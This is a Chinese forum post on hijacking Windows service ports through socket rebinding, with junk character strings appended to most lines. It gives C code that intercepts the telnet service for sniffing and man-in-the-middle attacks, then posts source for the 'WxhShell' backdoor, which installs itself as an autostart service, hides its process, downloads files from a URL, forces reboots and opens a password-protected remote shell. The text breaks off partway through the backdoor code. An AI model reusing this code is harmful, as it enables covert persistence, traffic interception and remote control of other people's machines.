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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: {=K);z  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ]gjQy.c|  
X* 4C?v  
  saddr.sin_family = AF_INET; I+2#k\y  
xmVW6 ,<?  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); H=lzW_(  
?vt#M^Q   
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); aa2 vk)~  
=&T%Jm}  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 d?:KEi-<7  
M>qqe!c*  
  这意味着什么?意味着可以进行如下的攻击: La>fvm  
CWBlDz  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 n?Zt\Kto  
w#6)XR|+,.  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) HuT4OGBFpC  
R7\T.;8+  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 $8>kk  
hgg 8r#4q  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  OQ(w]G0LP  
B]2m(0Y>>v  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 H 48YX(HI  
5Ve`j,`=<  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 hGU  m7  
cN%  r\  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 1;v,rs M  
@7HHi~1JK  
  #include F8H4R7 8>;  
  #include 8:t!m>(*  
  #include G&Fe2&5!w  
  #include    rU4;yy*b  
  DWORD WINAPI ClientThread(LPVOID lpParam);   -7Bg5{FA  
  int main() &?[g8A  
  { #| pn,/  
  WORD wVersionRequested; !;3hN$5  
  DWORD ret; &x?m5%^l  
  WSADATA wsaData; _D 9/,n$  
  BOOL val; :6gRoMb]  
  SOCKADDR_IN saddr; *@I/TX'\rY  
  SOCKADDR_IN scaddr; 0tKVo]EK  
  int err; [][ze2+b  
  SOCKET s; |LV}kG(2  
  SOCKET sc; *I:a \o~$[  
  int caddsize; C/?x`2'  
  HANDLE mt; FuC#w 9_  
  DWORD tid;   mzf~qV^T  
  wVersionRequested = MAKEWORD( 2, 2 ); "D,}|  
  err = WSAStartup( wVersionRequested, &wsaData ); &=*sN`  
  if ( err != 0 ) { R$h B9BK  
  printf("error!WSAStartup failed!\n"); 2c*w{\X  
  return -1; / Q| Z&-c  
  } ' !2NSv  
  saddr.sin_family = AF_INET; \@[Y ~:  
   buldA5*!o  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 R]&lVXyH  
`h%K8];<6f  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 6t\0Ui  
  saddr.sin_port = htons(23); G %A!yV  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) a[VX)w_W{  
  { ~9y/MR  
  printf("error!socket failed!\n"); 9!_JV;2  
  return -1; r^7eK)XA_  
  } _z=yt t9D  
  val = TRUE; ."Kp6s`k  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 gy1R.SN  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 9Y:Iha`$w  
  { b_&:tE--]  
  printf("error!setsockopt failed!\n"); k4d;4D?  
  return -1; w~C\5 i  
  } uZM%F)  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; MQe|\SMd  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 .sjv"D"  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 @;G%7&ps  
- lqD  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) q`VkA \  
  { j[,XJ,5=  
  ret=GetLastError(); 5g%D0_e5  
  printf("error!bind failed!\n"); y@@h)P#  
  return -1; ( Sjlm^bca  
  } e45)t}'  
  listen(s,2); "8p<NsU   
  while(1) >Hu3Guik]  
  { B)*1[Jf{4  
  caddsize = sizeof(scaddr); Quwq_.DU  
  //接受连接请求 J`4V\D}n  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ?bH`  
  if(sc!=INVALID_SOCKET) bE,#,  
  { :N !s@6  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); .,sbqL  
  if(mt==NULL) O5MV&Zb(  
  { "574%\#4z  
  printf("Thread Creat Failed!\n"); #qu;{I#W3  
  break; ]SAGh|+xl  
  } Q4Nut  
  }  wh#IQ.E-  
  CloseHandle(mt); I<Cm$8O?  
  } 9n49p?  
  closesocket(s); O1@3V/.Wu  
  WSACleanup(); riF-9 %i  
  return 0; PWeWz(]0Z4  
  }   ^6gEL~m|]  
  DWORD WINAPI ClientThread(LPVOID lpParam) t33\f<e  
  { n%;4Fm?  
  SOCKET ss = (SOCKET)lpParam; s{OV-H  
  SOCKET sc; ykRd+H-t  
  unsigned char buf[4096];  HzL~B#  
  SOCKADDR_IN saddr; %ikPz~(  
  long num; ~|[i64V<^  
  DWORD val; k]A =Q  
  DWORD ret; nq,:UYNJ  
  //如果是隐藏端口应用的话,可以在此处加一些判断 R , #szTu  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   R|k:8v{V=  
  saddr.sin_family = AF_INET; Pv=]7> e  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); f9OY> |a9  
  saddr.sin_port = htons(23); *k Tj,&x[  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ahdwoB   
  { 2%v6h  
  printf("error!socket failed!\n"); \T[OF8yhW  
  return -1; O6vHo3k  
  } DJ0jtv6nQ-  
  val = 100; n2dOCntN>  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) gL~3z'$  
  { $VjMd f  
  ret = GetLastError(); TV|Z$,6l  
  return -1; r:PYAb=g  
  } &1Y7Ne  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) aTfc>A;  
  { .:XXc  
  ret = GetLastError(); ~1XC5.*-  
  return -1; lD'^6  
  } mE;^B%v  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) !u:Fn)j  
  { 7yJE+o'  
  printf("error!socket connect failed!\n"); A#{I- *D[  
  closesocket(sc); p I.~j]*:{  
  closesocket(ss); ^hsr/|  
  return -1; W0;QufV  
  } jd2 p~W  
  while(1) ]N,'3`&::  
  { "!& o|!2  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 5R)IL 2~  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 MskO Pg  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 lKf kRyO_S  
  num = recv(ss,buf,4096,0); \[|X^8j  
  if(num>0) %__ @G_M  
  send(sc,buf,num,0); x?]fHin_  
  else if(num==0) ul b0B"  
  break; ,gW$m~\  
  num = recv(sc,buf,4096,0); '"XVe+.O  
  if(num>0) P9R-41!  
  send(ss,buf,num,0); txm6[Io  
  else if(num==0) 'f0R/6h\3s  
  break; ;1s;"  
  } Vx:uqzw#  
  closesocket(ss); mE=Tj%+ x  
  closesocket(sc); 6kMEm)YjT  
  return 0 ; 3sRI 7g  
  } V lkJ$f5l  
_dECAk &b  
|9F-ZH~6  
========================================================== ZFh[xg'0  
_j4 K  
下边附上一个代码,,WXhSHELL +K8T%GAr  
(uX"n`Dk  
========================================================== S|;}]6p  
Q);}1'c  
#include "stdafx.h" t|9vb  
@+_pj.D  
#include <stdio.h> xSO5?eR"u  
#include <string.h> ~[kI! [  
#include <windows.h> ,Y#f0  
#include <winsock2.h> UV</Nx)3  
#include <winsvc.h> APJFy@l}  
#include <urlmon.h> t'yh&44_  
)iVuac]E++  
#pragma comment (lib, "Ws2_32.lib") TwF.UL@G%  
#pragma comment (lib, "urlmon.lib") [,;O$j}  
ONZ(0H{ 1$  
#define MAX_USER   100 // 最大客户端连接数 l^%52m@{  
#define BUF_SOCK   200 // sock buffer Bs|#7mA[  
#define KEY_BUFF   255 // 输入 buffer Z2-tDp(I  
&_s^C?x  
#define REBOOT     0   // 重启 6(7dr?^eGT  
#define SHUTDOWN   1   // 关机 K{9Vyt9,$  
>L8 & 6aU  
#define DEF_PORT   5000 // 监听端口 N/b$S@  
~eS/gF?  
#define REG_LEN     16   // 注册表键长度 k nzo6  
#define SVC_LEN     80   // NT服务名长度 tkff\W[JU  
&h.?~Ri  
// 从dll定义API %tPy]{S..  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); aI|X~b  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ![eY%2;<  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 1bDAi2 H  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); &LG|YvMY6  
eYn/F~5-  
// wxhshell配置信息 wzmQRn;s  
struct WSCFG { >I0 a$w  
  int ws_port;         // 监听端口 Jh36NE8r  
  char ws_passstr[REG_LEN]; // 口令 }jP/XO1f  
  int ws_autoins;       // 安装标记, 1=yes 0=no GuaF B[4  
  char ws_regname[REG_LEN]; // 注册表键名 Q'hs,t1<  
  char ws_svcname[REG_LEN]; // 服务名 |eFaOL|  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ~$rSy|19  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 mVN\  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 &OkPO|  
int ws_downexe;       // 下载执行标记, 1=yes 0=no _PQk<QZ  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" <]_[o:nOP  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ^rO!-  
}[PC YnS  
}; 7AqbfLO  
z5D*UOy5M  
// default Wxhshell configuration $"}[\>e*{  
struct WSCFG wscfg={DEF_PORT, _ /Eg_dQ~@  
    "xuhuanlingzhe", e2>AL  
    1, >5TXLOYZ  
    "Wxhshell", )4hA Fy6l  
    "Wxhshell", )nq(XM7  
            "WxhShell Service", :22wq{  
    "Wrsky Windows CmdShell Service", %h;1}SFl0  
    "Please Input Your Password: ", TTWiwPo59  
  1, b/\l\\$-  
  "http://www.wrsky.com/wxhshell.exe", DMSC(Sz  
  "Wxhshell.exe" .$Yp~  
    }; E8t{[N6d  
<xrya _R?  
// 消息定义模块 s;[=B  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; X`-o0HG  
char *msg_ws_prompt="\n\r? for help\n\r#>"; L)S V?FBx  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; -6X+:r`>u  
char *msg_ws_ext="\n\rExit."; zz<o4b R  
char *msg_ws_end="\n\rQuit."; T-x9IoE  
char *msg_ws_boot="\n\rReboot..."; "ub0}p4V  
char *msg_ws_poff="\n\rShutdown..."; r^ '  
char *msg_ws_down="\n\rSave to "; RMid}BRE  
DK'S4%;Sp  
char *msg_ws_err="\n\rErr!"; \C2HeA\#SW  
char *msg_ws_ok="\n\rOK!"; Gv[(0  
7 9k+R9m  
char ExeFile[MAX_PATH]; P?jI:'u!R.  
int nUser = 0; NF-@Q@  
HANDLE handles[MAX_USER]; eOfVBF<C2  
int OsIsNt; J$T(p%  
G,1g~h%I$  
SERVICE_STATUS       serviceStatus; }I#_H  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Cy)QS{YX  
wSdiF-ue  
// 函数声明 O*n@!ye  
int Install(void); 7 <K=G2_:  
int Uninstall(void); 9%0^fhrJ  
int DownloadFile(char *sURL, SOCKET wsh); KFaYn  
int Boot(int flag); |@f\[v9`  
void HideProc(void); xJFcW+  
int GetOsVer(void); 1CJAFi>%D  
int Wxhshell(SOCKET wsl); mgodvX  
void TalkWithClient(void *cs); :o~ ]d  
int CmdShell(SOCKET sock); SP>&+5AydX  
int StartFromService(void); N-Bw&hEZ  
int StartWxhshell(LPSTR lpCmdLine); )wdd"*hv  
5)0'$Xxqa0  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 3a}c'$F>_'  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); %F}d'TPx  
F ^m;xy  
// 数据结构和表定义 W A*1_  
SERVICE_TABLE_ENTRY DispatchTable[] = S0LaQ<9.  
{ THgEHR0,}[  
{wscfg.ws_svcname, NTServiceMain}, uU-1;m#N?  
{NULL, NULL} afu!.}4Ct  
}; |1e//*  
}KNBqPo4B  
// 自我安装 ZqjLZ9?q  
int Install(void) ()n2 KT  
{ $U)nrn i  
  char svExeFile[MAX_PATH]; Pmd5P:n*,  
  HKEY key; M7-2;MZ  
  strcpy(svExeFile,ExeFile); "x0KiIoPk  
?N@[R];  
// 如果是win9x系统,修改注册表设为自启动 zH#urF6<  
if(!OsIsNt) { 5{vuN)K3  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 0h{&k7T<7  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); $ERiBALN:  
  RegCloseKey(key); |8)\8b|VuC  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { IP)%y%ycw  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); I%B\Wy/j^  
  RegCloseKey(key); UA*Kuad  
  return 0; K `A8N  
    } X/m~^  
  } ^f,%dM=i=  
} 9oG)\M.6w  
else { \6aisK  
=Tfm~+7nE  
// 如果是NT以上系统,安装为系统服务 h2i1w^f  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); #)iPvV'  
if (schSCManager!=0) {.e^1qE  
{ hZ "Sqm]  
  SC_HANDLE schService = CreateService !!cN4X  
  ( [h8macx  
  schSCManager, vY,D02 EMw  
  wscfg.ws_svcname, HXkXDX9&'.  
  wscfg.ws_svcdisp, ,rNud]NM8  
  SERVICE_ALL_ACCESS, hf7[<I,jov  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , +%K~HYN  
  SERVICE_AUTO_START, o*oFCR]j  
  SERVICE_ERROR_NORMAL, rfr]bq5  
  svExeFile, 9w=[}<E  
  NULL, k]2_vk^  
  NULL, A\13*4:;l  
  NULL, +wI<w|!  
  NULL, 'q@vTM'-  
  NULL rD9:4W`^  
  ); aY6F4,7/B  
  if (schService!=0) %7?Z|'\  
  { 8`90a\t'Z  
  CloseServiceHandle(schService); ,/!^ZS*  
  CloseServiceHandle(schSCManager); #u +~ ^M  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); HuQdQ*Q  
  strcat(svExeFile,wscfg.ws_svcname); vTIRydg2b  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { \m:('^\6o  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); . lNf.x#u  
  RegCloseKey(key); EG3u)}vI  
  return 0; Ynp#3 r  
    } 0]^gT'  
  } o%0To{MAF-  
  CloseServiceHandle(schSCManager); iO2jT+i  
} wrsr U  
} %J1oz3n  
Jje!*?&8X  
return 1; W! J@30  
} k~, k@mR  
,ne3uPRu7~  
// 自我卸载 O%px>rdkY  
int Uninstall(void) ud"Kko Rt  
{ 'u d[#@2  
  HKEY key; #Jr4LQ@A9  
O{Z${TC[  
if(!OsIsNt) { ;82?ACCP  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { wzBI<0]z  
  RegDeleteValue(key,wscfg.ws_regname); QGE0pWL-a  
  RegCloseKey(key); 8# x7q>?  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Iyb_5 UmpF  
  RegDeleteValue(key,wscfg.ws_regname); Sl@Ucc31  
  RegCloseKey(key); O=^/58(m  
  return 0; Jb-.x_Bf  
  } q1m{G1W n  
} ^`Hb7A(  
} aK 3'u   
else { 77ztDQDtM  
Ds#BfP7a  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ,J:Ro N_:  
if (schSCManager!=0) F07X9s44E  
{ p./0N.  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); aK 7 }}  
  if (schService!=0) ~@#a*="  
  { +d(|Jid  
  if(DeleteService(schService)!=0) { iq,rS"  
  CloseServiceHandle(schService); e^$JGh2  
  CloseServiceHandle(schSCManager); 6RDy2JAOP  
  return 0; yT~x7,  
  } v *`M3jb  
  CloseServiceHandle(schService); 2waPNb|  
  } dcyHp>\)|  
  CloseServiceHandle(schSCManager); %.onO0})  
} 7+qKA1t^  
} 2u+!7D!w$  
Wrh$`JC  
return 1; ?0?3yD-!9  
} [1O{yPV3s  
8)ng> l  
// 从指定url下载文件 ?GW}:'z  
int DownloadFile(char *sURL, SOCKET wsh) ;~'&m  
{ vhcp[=e :  
  HRESULT hr; M}Xf<:g)  
char seps[]= "/"; [AA}P/iW  
char *token; VKf&}u/  
char *file; /'b7q y  
char myURL[MAX_PATH]; d[XMQX  
char myFILE[MAX_PATH]; "\ =Phqw   
cLw|[!5:  
strcpy(myURL,sURL); U]@?[+I0]  
  token=strtok(myURL,seps); ,]]*}4[r  
  while(token!=NULL) 8_"NF%%(n  
  { (OA4H1DL^  
    file=token; )4m`Ya,E3  
  token=strtok(NULL,seps); d`=LZio  
  } BRM!g9  
W|y;Kxy  
GetCurrentDirectory(MAX_PATH,myFILE); 5pK _-:?  
strcat(myFILE, "\\"); b};o:  
strcat(myFILE, file); Rd|8=`)  
  send(wsh,myFILE,strlen(myFILE),0); OHrzN ']  
send(wsh,"...",3,0); '$?!>HN4  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); .J O1kt  
  if(hr==S_OK) j#Tl\S!m.I  
return 0; )a x>*  
else /?($W|9+l  
return 1; ;mvVo-r*q  
y*6/VSRkt4  
} "?<h,Hvi  
c*(^:#"9  
// 系统电源模块 't5`Ni  
int Boot(int flag) m^=El7+  
{ N/--6)5~0  
  HANDLE hToken; T[#q0bv  
  TOKEN_PRIVILEGES tkp; y%spI/(  
&;=/^~EG  
  if(OsIsNt) { v+8Ybq  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ~E!kx  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); | L1+7  
    tkp.PrivilegeCount = 1; PB?2{Cj  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; c&FOt  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); !a-B=pn!]  
if(flag==REBOOT) { 0!7p5  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ! Dj2/][  
  return 0; R n]xxa'  
} +jyGRSo  
else { X6 N&:<  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 7 nFOV Z  
  return 0; / *PHX@  
}  bLAHVi<.  
  } 2#r4dr0  
  else { ,?k1if(0[  
if(flag==REBOOT) { ,v,rY'  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 0H]{,mVs  
  return 0; a @d 15CN  
} 9dBxCdpu  
else { ,&qC R sw  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) eZN"t~\rX  
  return 0; "H<us?r{  
} k)|.<  
} ;i'[c`  
Z7RBJK7|.  
return 1; :GO"bsjL  
} LO>42o?/i  
%dv?n#Uf  
// win9x进程隐藏模块 M +r!63T  
void HideProc(void) R&J?X Q  
{ }v4dOGc?  
?s3S$Ih  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); (Bd'Pj]:  
  if ( hKernel != NULL ) K +3=gBU*w  
  { Dfa3&# #{  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); d]" 4aS  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 0GXY2+p}S  
    FreeLibrary(hKernel); .V?[<}OJn  
  } 8/BMFRJ  
pDSNI2  
return; D fzsA4  
} \6JOBR  
-!:5jfT"  
// 获取操作系统版本 #mA(x@:*  
int GetOsVer(void) OTdijQLY  
{ AyOibnoZ2E  
  OSVERSIONINFO winfo; s&(;  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); y,3ZdY"  
  GetVersionEx(&winfo); IhYR4?e  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) JcA+ztPU  
  return 1; F!wz{i6\h  
  else oSC'b%  
  return 0; -4& i t:  
} =@?[.`  
%&| uT  
// 客户端句柄模块 R]iV;j|  
int Wxhshell(SOCKET wsl) ,1$F #Eh  
{ uMS+,dXy  
  SOCKET wsh; y{>f^S<  
  struct sockaddr_in client; ?! 6Itkg  
  DWORD myID; @ 2)nhW/z6  
%dFJ'[jDL  
  while(nUser<MAX_USER) 4]ni-u0*  
{ E<[ s+iX  
  int nSize=sizeof(client); }|Mwv $`  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); *_o(~5w-K  
  if(wsh==INVALID_SOCKET) return 1; kzDN(_<1  
HdJ g  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); %BP>,E/w  
if(handles[nUser]==0) k[;)/LfhS  
  closesocket(wsh); N}K [Q=  
else ?YLq iAA  
  nUser++; D5D *$IC  
  } @we1#Vz.  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); DylO;+  
C; N6",s!  
  return 0; YAOfuas]j  
} [49Cvde^  
7RL J  
// 关闭 socket MQ-u9=ys  
void CloseIt(SOCKET wsh) )ffaOS!\  
{ nQjpJ /=  
closesocket(wsh); '\tI|  
nUser--; cR/Nl pX  
ExitThread(0); jTvcKm|q  
} %+N]$Q  
*;Mi/^pzK  
// 客户端请求句柄 |'nQvn:{  
void TalkWithClient(void *cs) VAz4@r7hkq  
{ 'bi;Y1:  
Pwl*5/l  
  SOCKET wsh=(SOCKET)cs; <gkE,e9  
  char pwd[SVC_LEN]; alaL/p{O  
  char cmd[KEY_BUFF]; Yi*F;V   
char chr[1]; &>,;ye>A  
int i,j; K8;SE !  
,,gMUpL7_8  
  while (nUser < MAX_USER) { iZ-R%-}B  
.ybmJU*Hg  
if(wscfg.ws_passstr) { w`)5(~b  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); W2 -%/  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); nn_O"fZi  
  //ZeroMemory(pwd,KEY_BUFF); ]?tRO  
      i=0; =9GA LoGL  
  while(i<SVC_LEN) { Q&eyqk   
o utJ/~9;  
  // 设置超时 ?,>3uD#  
  fd_set FdRead; lFjz*g2'  
  struct timeval TimeOut; dFy$w=  
  FD_ZERO(&FdRead); s5nw<V9$]  
  FD_SET(wsh,&FdRead); -3{Q`@F  
  TimeOut.tv_sec=8; )!2@v@SQ  
  TimeOut.tv_usec=0; lFnls6dp  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); b&:v6#i  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); _x,X0ncv]@  
r exv)!J  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); d_yvG.#C  
  pwd=chr[0]; aDF@A S  
  if(chr[0]==0xd || chr[0]==0xa) { P}v ;d]  
  pwd=0; u 2 s  
  break; ,t9EL 21  
  } @N4_){s*  
  i++; 79v+ze  
    } SK}sf9gTv  
tOiz tYu  
  // 如果是非法用户,关闭 socket .SD-6GVD  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); .\R9tt}  
} mWT+15\5r(  
o5o myMN  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); P%aqY~yF3  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); xsZG(Tz  
d4S4 e  
while(1) { V*jl  
)QE6X67i  
  ZeroMemory(cmd,KEY_BUFF); r&]XNq'P9  
wk|+[Rl;L  
      // 自动支持客户端 telnet标准   GY%9V5GB  
  j=0; 7g\v (P  
  while(j<KEY_BUFF) { o$*(N  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); <fvu) f  
  cmd[j]=chr[0]; Nw*<e ]uD  
  if(chr[0]==0xa || chr[0]==0xd) { W"c\/]aD  
  cmd[j]=0; 1<r!9x9G  
  break; V~*Gk!+f  
  } l=CAr  
  j++; dk|LC-]`A  
    } 72dRp!J U  
z &EDW 5I  
  // 下载文件 &=g3J4$z  
  if(strstr(cmd,"http://")) { :#YC_ id  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); {rc3`<%  
  if(DownloadFile(cmd,wsh)) *D? =Ts  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); .4zzPD$1  
  else jJ#D`iog5  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); g0B] ;Y>(  
  } s2O()u-  
  else { ip-X r|Bq  
|a{; <a  
    switch(cmd[0]) { Nny*C`uDF  
  q\EYsN</;  
  // 帮助 !mlfG "FE  
  case '?': { hVz yvpw  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); @_ %RQO_X  
    break; cMY}Y [2c  
  } rN}pi@  
  // 安装 A9xe Oy8e  
  case 'i': { //63|;EEkl  
    if(Install()) g04^M (  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (47?lw &  
    else 4Zbn8GpC  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {=GmXd%D  
    break; !Cr3>tA  
    } :^)?AO#J  
  // 卸载 aopPv&jY  
  case 'r': { 5P!ZGbG  
    if(Uninstall()) +e{ui +  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); fd'kv  
    else }yT/UlU  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]}L'jK 0  
    break; :h(HKMSk1  
    } [MIgQ.n  
  // 显示 wxhshell 所在路径 PuN L%D  
  case 'p': { X:W\EeH  
    char svExeFile[MAX_PATH]; ;J W ]b]  
    strcpy(svExeFile,"\n\r"); )E9!m  
      strcat(svExeFile,ExeFile); 2.v{W-D[  
        send(wsh,svExeFile,strlen(svExeFile),0); AU9C#;JD  
    break; JvAXLT  
    } o +$v0vg%T  
  // 重启 )g@+ MR  
  case 'b': { NY.Cr.}  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); IBa0O|*6  
    if(Boot(REBOOT)) MLd; UHU  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5M5Bm[X  
    else { |S8$NI2  
    closesocket(wsh); :!aLa}`@  
    ExitThread(0); ;%n'k  
    } ~@'wqGTp  
    break; +xYu@r%R  
    } YS|Dw'%g /  
  // 关机 $Tbsre\MJ  
  case 'd': { 5;)^o3X>  
